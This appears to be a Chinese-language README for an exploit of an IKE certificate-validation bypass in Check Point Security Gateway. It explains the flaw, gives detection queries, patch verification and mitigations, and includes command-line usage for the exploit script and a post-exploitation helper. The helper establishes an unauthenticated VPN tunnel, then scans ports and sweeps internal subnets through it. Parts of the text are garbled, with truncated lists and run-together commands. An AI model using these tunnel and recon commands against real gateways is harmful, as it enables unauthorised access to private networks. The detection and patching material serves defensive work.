利用 CVE-2026-85102,通过绕过 IKE 证书链验证,在 Check Point Security Gateway 上建立未认证的 VPN 隧道。
Check Point 官方安全公告: sk1000117
产品: Check Point Security Gateway、Check Point Spark Firewall
受影响版本: R81.20、R82、R82.10(Bundle T24 之前)、R80-R81.10(全部 EoS)
不受影响: R82.20
组件: libcpcert.so — fwKeyHolder_imp::IsChainTrusted()
根本原因: IsChainTrusted() 调用了 CanonizeChain(),但忽略了其返回值。即使证书链规范化失败,该函数仍返回 TRUSTED。
利用方式: 攻击者可以:
CanonizeChain() 失败CVE-2026-85102.py # CVE-2026-85102: VPN tunnel establishment (auth bypass)
cp_postex.py # Post-exploitation helper (tunnel management, recon)
pip install cryptographyopenssl、iproute2(ip 命令)、nc(netcat)testuser)# Establish tunnel with certificate bypass
sudo python3 CVE-2026-85102.py<target_ip> -u <vpn_username>
# Output includes Office Mode IP, e.g., 172.16.10.3
# Clean up tunnel
sudo python3 CVE-2026-85102.py--cleanup
# Establish tunnel and save state
sudo python3 cp_postex.py tunnel up <target_ip> -u <vpn_username>
# Check tunnel status
sudo python3 cp_postex.py tunnel status
# Scan gateway ports through tunnel
sudo python3 cp_postex.py recon scan
sudo python3 cp_postex.py recon scan -p 80,443,18190-18208
# Sweep internal networks through tunnel
sudo python3 cp_postex.py recon sweep 192.168.1.0/24
sudo python3 cp_postex.py recon sweep 192.168.1.0/24 -p 22
# Tear down tunnel
sudo python3 cp_postex.py tunnel down
sudo python3 cp_postex.py tunnel down -f # Flush all xfrm state
| 参数 | 描述 |
|---|---|
<target_ip> | Check Point 网关 IP |
-u <username> | VPN 用户名(默认:testuser) |
-l <local_ip> | 用于多网卡系统的手动本地 IP |
-c <cert_host> | 用于 ICA 证书提取的备用主机 |
--cleanup | 移除隧道配置 |
检查日志中是否存在异常的基于证书的 Mobile Access 登录。在 SmartConsole/Spark Management 中,转到 Logs & Monitor / Logs & Events,搜索 2026 年 9 月 12 日之后的事件:
product: "Mobile Access" AND action: "Log In" AND "Certificate"
检查是否存在未识别用户、客户端或源 IP 地址的事件。
观察到的可疑证书主体:
CN=vpn,OU=users,O=globalCN=vpn-user,OU=users,O=globalCN=vpnuser,OU=users,O=global安装 LivePatch Take 26(BUNDLE_URGENT_SECURITY_UPDATE):
验证安装:
# Check LivePatch status
cplp list
# Expected output includes:
# cpcert:cpca* CVE-2026-85102 CVE-2026-85103
# cpcert:iked* CVE-2026-85102 CVE-2026-85103
# cpcert:vpn* CVE-2026-85102 CVE-2026-85103
# cpcert:vpnrad* CVE-2026-85102 CVE-2026-85103
# cpcert_cprid:cprid* CVE-2026-85102 CVE-2026-85103
该修复修改了 libcpcert.so:
// IsChainTrusted: Check CanonizeChain return value
result = CanonizeChain(this, trusted_ca, sorted, out, i, trust_type);
if (!result) {
trusted_ca = NULL;
}
return trusted_ca;
// CanonizeChain: Check intermediate operation returns
if (!CopyChain(...)) return NULL;
if (!TruncateChain(...)) return NULL;
禁用隐式 VPN 规则,并为特定对等 IP 地址手动定义 UDP/500 和 UDP/4500 的 VPN 访问。参见 sk179346。
禁用远程访问 VPN 隐式规则。创建显式访问控制规则,允许所需的远程访问 VPN 服务访问安全网关:
注意: 这些缓解措施不适用于本地管理的 Spark 防火墙。
本漏洞利用代码仅供安全研究和测试使用。请仅在您自己的系统上使用,或在获得系统所有者明确授权的情况下使用。